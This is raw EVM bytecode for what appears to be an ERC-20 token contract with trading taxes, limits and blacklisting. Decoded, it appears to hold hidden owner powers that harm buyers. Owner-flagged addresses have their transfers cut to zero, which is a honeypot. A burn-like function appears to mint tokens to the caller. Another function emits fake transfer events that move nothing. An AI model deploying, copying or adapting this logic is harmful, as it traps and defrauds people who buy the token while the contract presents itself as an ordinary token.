5b50610a6f6004803603810190610a6a91906142a6565b6117b1565b005b348015610a7d57600080fd5b50610a986004803603810190610a939190613f4d565b6117d6565b604051610aa59190613fa8565b60405180910390f35b348015610aba57600080fd5b50610ac36118a3565b604051610ad09190613fa8565b60405180910390f35b348015610ae557600080fd5b50610b006004803603810190610afb91906142d3565b6118b6565b005b348015610b0e57600080fd5b50610b296004803603810190610b249190613f4d565b611963565b604051610b369190613fa8565b60405180910390f35b348015610b4b57600080fd5b50610b666004803603810190610b619190613fc3565b611981565b005b348015610b7457600080fd5b50610b8f6004803603810190610b8a9190613fc3565b611a49565b604051610b9c9190613fa8565b60405180910390f35b348015610bb157600080fd5b50610bba611a69565b604051610bc79190613fa8565b60405180910390f35b348015610bdc57600080fd5b50610bf76004803603810190610bf29190614205565b611a7c565b005b348015610c0557600080fd5b50610c206004803603810190610c1b9190614094565b611b2d565b005b348015610c2e57600080fd5b50610c496004803603810190610c449190613fc3565b611bc0565b005b348015610c5757600080fd5b50610c60611c0c565b604051610c6d9190613fa8565b60405180910390f35b348015610c8257600080fd5b50610c8b611c1f565b604051610c989190614079565b60405180910390f35b348015610cad57600080fd5b50610cc86004803603810190610cc39190614094565b611c25565b604051610cd59190613fa8565b60405180910390f35b348015610cea57600080fd5b50610cf3611d06565b604051610d009190614079565b60405180910390f35b348015610d1557600080fd5b50610d306004803603810190610d2b9190614333565b611d0c565b604051610d3d9190614079565b60405180910390f35b348015610d5257600080fd5b50610d5b611d93565b604051610d689190614079565b60405180910390f35b348015610d7d57600080fd5b50610d86611d99565b604051610d939190613fa8565b60405180910390f35b348015610da857600080fd5b50610dc36004803603810190610dbe9190613fc3565b611dc5565b604051610dd09190613fa8565b60405180910390f35b348015610de557600080fd5b50610dee611e1b565b604051610dfb9190614079565b60405180910390f35b348015610e1057600080fd5b50610e2b6004803603810190610e269190613fc3565b611e21565b005b348015610e3957600080fd5b50610e42611ea4565b604051610e4f9190614079565b60405180910390f35b348015610e6457600080fd5b50610e6d611eaa565b604051610e7a9190614079565b60405180910390f35b606060048054610e92906143a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe906143a2565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b5050505050905090565b6000610f29610f22611eb0565b8484611eb8565b6001905092915050565b601f6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600354905090565b610f89612081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60185481565b60175481565b61105d612081565b633b9aca006103e8600561106f610f77565b6110799190614402565b6110839190614473565b61108d9190614473565b8110156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c690614516565b60405180910390fd5b633b9aca00816110df9190614402565b600a8190555050565b60006110f5848484612115565b6111b684611101611eb0565b6111b18560405180606001604052806028815260200161533c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611167611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b611eb8565b600190509392505050565b6111c9612081565b60005b83839050811015611298578383828181106111ea576111e9614536565b5b90506020020160208101906111ff9190613fc3565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127d9190614079565b60405180910390a3808061129090614565565b9150506111cc565b50505050565b60165481565b6112ac612081565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b60006113b961131d611eb0565b846113b4856002600061132e611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130bb90919063ffffffff16565b611eb8565b6001905092915050565b6113cb612081565b6113dc6113d6611eb0565b82613119565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960159054906101000a900460ff1681565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60155481565b60115481565b600960179054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114de612081565b6114e860006132cc565b565b60006114f4612081565b6000600960156101000a81548160ff0219169083151502179055506001905090565b61151e612081565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b6115ad612081565b6001600960166101000a81548160ff0219169083151502179055506001600960176101000a81548160ff02191690831515021790555043601a81905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b61164a612081565b80600960176101000a81548160ff02191690831515021790555050565b606060058054611676906143a2565b80601f01602080910402602001604051908101604052809291908181526020018280546116a2906143a2565b80156116ef5780601f106116c4576101008083540402835291602001916116ef565b820191906000526020600020905b8154815290600101906020018083116116d257829003601f168201915b5050505050905090565b611701612081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061461f565b60405180910390fd5b61179b8282613392565b5050565b60105481565b60195481565b60145481565b6117b9612081565b80600960186101000a81548160ff02191690831515021790555050565b60006118996117e3611eb0565b8461189485604051806060016040528060258152602001615364602591396002600061180d611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b611eb8565b6001905092915050565b600960189054906101000a900460ff1681565b6118be612081565b60005b8383905081101561195d5781602060008686858181106118e4576118e3614536565b5b90506020020160208101906118f99190613fc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061195590614565565b9150506118c1565b50505050565b6000611977611970611eb0565b8484612115565b6001905092915050565b611989612081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60216020528060005260406000206000915054906101000a900460ff1681565b600960169054906101000a900460ff1681565b611a84612081565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611b219190613fa8565b60405180910390a25050565b611b35612081565b633b9aca006103e8600f611b47610f77565b611b519190614402565b611b5b9190614473565b611b659190614473565b811015611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e906146b1565b60405180910390fd5b633b9aca0081611bb79190614402565b600c8190555050565b611bc8612081565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960199054906101000a900460ff1681565b600a5481565b6000611c2f612081565b620186a06001611c3d610f77565b611c479190614402565b611c519190614473565b821015611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a90614743565b60405180910390fd5b6103e86005611ca0610f77565b611caa9190614402565b611cb49190614473565b821115611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced906147d5565b60405180910390fd5b81600b8190555060019050919050565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6000611da3612081565b6000600960196101000a81548160ff0219169083151502179055506001905090565b6000602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600f5481565b611e29612081565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8f90614867565b60405180910390fd5b611ea1816132cc565b50565b60135481565b600c5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1e906148f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8d9061498b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120749190614079565b60405180910390a3505050565b60008061208c611eb0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612113576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210a906149f7565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90614a89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614b1b565b60405180910390fd5b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122975750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90614bad565b60405180910390fd5b600081036122ef576122ea83836000613433565b613052565b6000601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361237b5743601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600960159054906101000a900460ff1615612a40576123986115ec565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561240657506123d66115ec565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561243f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612479575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156124925750600960149054906101000a900460ff16155b15612a3f57600960169054906101000a900460ff1661258c57601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061254c5750601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61258b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258290614c19565b60405180910390fd5b5b600960199054906101000a900460ff1615612756576125a96115ec565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561263057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561268a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156127555743601b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270790614cd1565b60405180910390fd5b43601b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127f95750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128a057600a54811115612843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283a90614d63565b60405180910390fd5b600c5461284f8361148d565b8261285a9190614d83565b111561289b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289290614e03565b60405180910390fd5b612a3e565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129435750601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561299257600a5481111561298d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298490614e95565b60405180910390fd5b612a3d565b601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3c57600c546129ef8361148d565b826129fa9190614d83565b1115612a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3290614e03565b60405180910390fd5b5b5b5b5b5b6000601a54612a4f9190614d83565b4311158015612aac5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af85750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b56576000601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000612b613061148d565b90506000600b548210159050808015612b865750600960179054906101000a900460ff165b8015612b9f5750600960149054906101000a900460ff16155b8015612bf55750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c4b5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612ca15750601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ce5576001600960146101000a81548160ff021916908315150217905550612cc96136ca565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16158015612d105750600960179054906101000a900460ff165b9050601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612db35750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612dbd57600090505b6000811561303657602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e2057506000601154115b15612eed57612e4d6064612e3f6011548861390c90919063ffffffff16565b61398690919063ffffffff16565b905060115460135482612e609190614402565b612e6a9190614473565b60186000828254612e7b9190614d83565b9250508190555060115460145482612e939190614402565b612e9d9190614473565b60196000828254612eae9190614d83565b9250508190555060115460125482612ec69190614402565b612ed09190614473565b60176000828254612ee19190614d83565b92505081905550613012565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f4857506000600d54115b1561301157612f756064612f67600d548861390c90919063ffffffff16565b61398690919063ffffffff16565b9050600d54600f5482612f889190614402565b612f929190614473565b60186000828254612fa39190614d83565b92505081905550600d5460105482612fbb9190614402565b612fc59190614473565b60196000828254612fd69190614d83565b92505081905550600d54600e5482612fee9190614402565b612ff89190614473565b601760008282546130099190614d83565b925050819055505b5b600081111561302757613026873083613433565b5b80856130339190614eb5565b94505b61304085886139d0565b945061304d878787613433565b505050505b505050565b600083831115829061309f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130969190613e8d565b60405180910390fd5b50600083856130ae9190614eb5565b9050809150509392505050565b60008082846130ca9190614d83565b90508381101561310f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161310690614f35565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613188576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161317f90614fc7565b60405180910390fd5b61319482600083613af4565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181111561321b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321290615059565b60405180910390fd5b818101600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132bf9190614079565b60405180910390a3505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036134a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161349990614a89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161350890614b1b565b60405180910390fd5b61351c838383613af4565b6135888160405180606001604052806026815260200161531660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130579092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061361d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130bb90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136bd9190614079565b60405180910390a3505050565b60006136d53061148d565b905060006019546017546018546136ec9190614d83565b6136f69190614d83565b90506000808314806137085750600082145b156137155750505061390a565b6014600b546137249190614402565b83111561373d576014600b5461373a9190614402565b92505b6000600283601854866137509190614402565b61375a9190614473565b6137649190614473565b9050600061377b8286613af990919063ffffffff16565b9050600047905061378b82613b43565b60006137a08247613af990919063ffffffff16565b905060006137cb876137bd6019548561390c90919063ffffffff16565b61398690919063ffffffff16565b9050600060188190555060006017819055506000601981905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161382b906150aa565b60006040518083038185875af1925050503d8060008114613868576040519150601f19603f3d011682016040523d82523d6000602084013e61386d565b606091505b505080965050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516138b9906150aa565b60006040518083038185875af1925050503d80600081146138f6576040519150601f19603f3d011682016040523d82523d6000602084013e6138fb565b606091505b50508096505050505050505050505b565b600080830361391e5760009050613980565b6000828461392c9190614402565b905082848261393b9190614473565b1461397b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161397290615131565b60405180910390fd5b809150505b92915050565b60006139c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d80565b905092915050565b600080603290506000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443613a249190614eb5565b905060008282613a349190614402565b9050600060648211613a5257816064613a4d9190614eb5565b613a55565b60005b9050600060648289613a679190614402565b613a719190614473565b9050602060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ae557613ad9600082613de390919063ffffffff16565b95505050505050613aee565b87955050505050505b92915050565b505050565b6000613b3b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613057565b905092915050565b6000600267ffffffffffffffff811115613b6057613b5f615151565b5b604051908082528060200260200182016040528015613b8e5781602001602082028036833780820191505090505b5090503081600081518110613ba657613ba5614536565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613c4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c6f9190615195565b81600181518110613c8357613c82614536565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ce8307f000000000000000000000000000000000000000000000000000000000000000084611eb8565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613d4a9594939291906152bb565b600060405180830381600087803b158015613d6457600080fd5b505af1158015613d78573d6000803e3d6000fd5b505050505050565b60008083118290613dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dbe9190613e8d565b60405180910390fd5b5060008385613dd69190614473565b9050809150509392505050565b600081831015613df35781613df5565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e37578082015181840152602081019050613e1c565b60008484015250505050565b6000601f19601f8301169050919050565b6000613e5f82613dfd565b613e698185613e08565b9350613e79818560208601613e19565b613e8281613e43565b840191505092915050565b60006020820190508181036000830152613ea78184613e54565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613ee482613eb9565b9050919050565b613ef481613ed9565b8114613eff57600080fd5b50565b600081359050613f1181613eeb565b92915050565b6000819050919050565b613f2a81613f17565b8114613f3557600080fd5b50565b600081359050613f4781613f21565b92915050565b60008060408385031215613f6457613f63613eaf565b5b6000613f7285828601613f02565b9250506020613f8385828601613f38565b9150509250929050565b60008115159050919050565b613fa281613f8d565b82525050565b6000602082019050613fbd6000830184613f99565b92915050565b600060208284031215613fd957613fd8613eaf565b5b6000613fe784828501613f02565b91505092915050565b6000819050919050565b600061401561401061400b84613eb9565b613ff0565b613eb9565b9050919050565b600061402782613ffa565b9050919050565b60006140398261401c565b9050919050565b6140498161402e565b82525050565b60006020820190506140646000830184614040565b92915050565b61407381613f17565b82525050565b600060208201905061408e600083018461406a565b92915050565b6000602082840312156140aa576140a9613eaf565b5b60006140b884828501613f38565b91505092915050565b6000806000606084860312156140da576140d9613eaf565b5b60006140e886828701613f02565b93505060206140f986828701613f02565b925050604061410a86828701613f38565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261413957614138614114565b5b8235905067ffffffffffffffff81111561415657614155614119565b5b6020830191508360208202830111156141725761417161411e565b5b9250929050565b60008060006040848603121561419257614191613eaf565b5b600084013567ffffffffffffffff8111156141b0576141af613eb4565b5b6141bc86828701614123565b935093505060206141cf86828701613f38565b9150509250925092565b6141e281613f8d565b81146141ed57600080fd5b50565b6000813590506141ff816141d9565b92915050565b6000806040838503121561421c5761421b613eaf565b5b600061422a85828601613f02565b925050602061423b858286016141f0565b9150509250929050565b600060ff82169050919050565b61425b81614245565b82525050565b60006020820190506142766000830184614252565b92915050565b61428581613ed9565b82525050565b60006020820190506142a0600083018461427c565b92915050565b6000602082840312156142bc576142bb613eaf565b5b60006142ca848285016141f0565b91505092915050565b6000806000604084860312156142ec576142eb613eaf565b5b600084013567ffffffffffffffff81111561430a57614309613eb4565b5b61431686828701614123565b93509350506020614329868287016141f0565b9150509250925092565b6000806040838503121561434a57614349613eaf565b5b600061435885828601613f02565b925050602061436985828601613f02565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806143ba57607f821691505b6020821081036143cd576143cc614373565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061440d82613f17565b915061441883613f17565b925082820261442681613f17565b9150828204841483151761443d5761443c6143d3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061447e82613f17565b915061448983613f17565b92508261449957614498614444565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e35250000000000000000000000000000000000602082015250565b6000614500602f83613e08565b915061450b826144a4565b604082019050919050565b6000602082019050818103600083015261452f816144f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061457082613f17565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036145a2576145a16143d3565b5b600182019050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614609603983613e08565b9150614614826145ad565b604082019050919050565b60006020820190508181036000830152614638816145fc565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f312e352500000000000000000000000000000000000000000000000000000000602082015250565b600061469b602483613e08565b91506146a68261463f565b604082019050919050565b600060208201905081810360008301526146ca8161468e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b600061472d603583613e08565b9150614738826146d1565b604082019050919050565b6000602082019050818103600083015261475c81614720565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006147bf603483613e08565b91506147ca82614763565b604082019050919050565b600060208201905081810360008301526147ee816147b2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614851602683613e08565b915061485c826147f5565b604082019050919050565b6000602082019050818103600083015261488081614844565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006148e3602483613e08565b91506148ee82614887565b604082019050919050565b60006020820190508181036000830152614912816148d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614975602283613e08565b915061498082614919565b604082019050919050565b600060208201905081810360008301526149a481614968565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006149e1602083613e08565b91506149ec826149ab565b602082019050919050565b60006020820190508181036000830152614a10816149d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614a73602583613e08565b9150614a7e82614a17565b604082019050919050565b60006020820190508181036000830152614aa281614a66565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614b05602383613e08565b9150614b1082614aa9565b604082019050919050565b60006020820190508181036000830152614b3481614af8565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b6000614b97603183613e08565b9150614ba282614b3b565b604082019050919050565b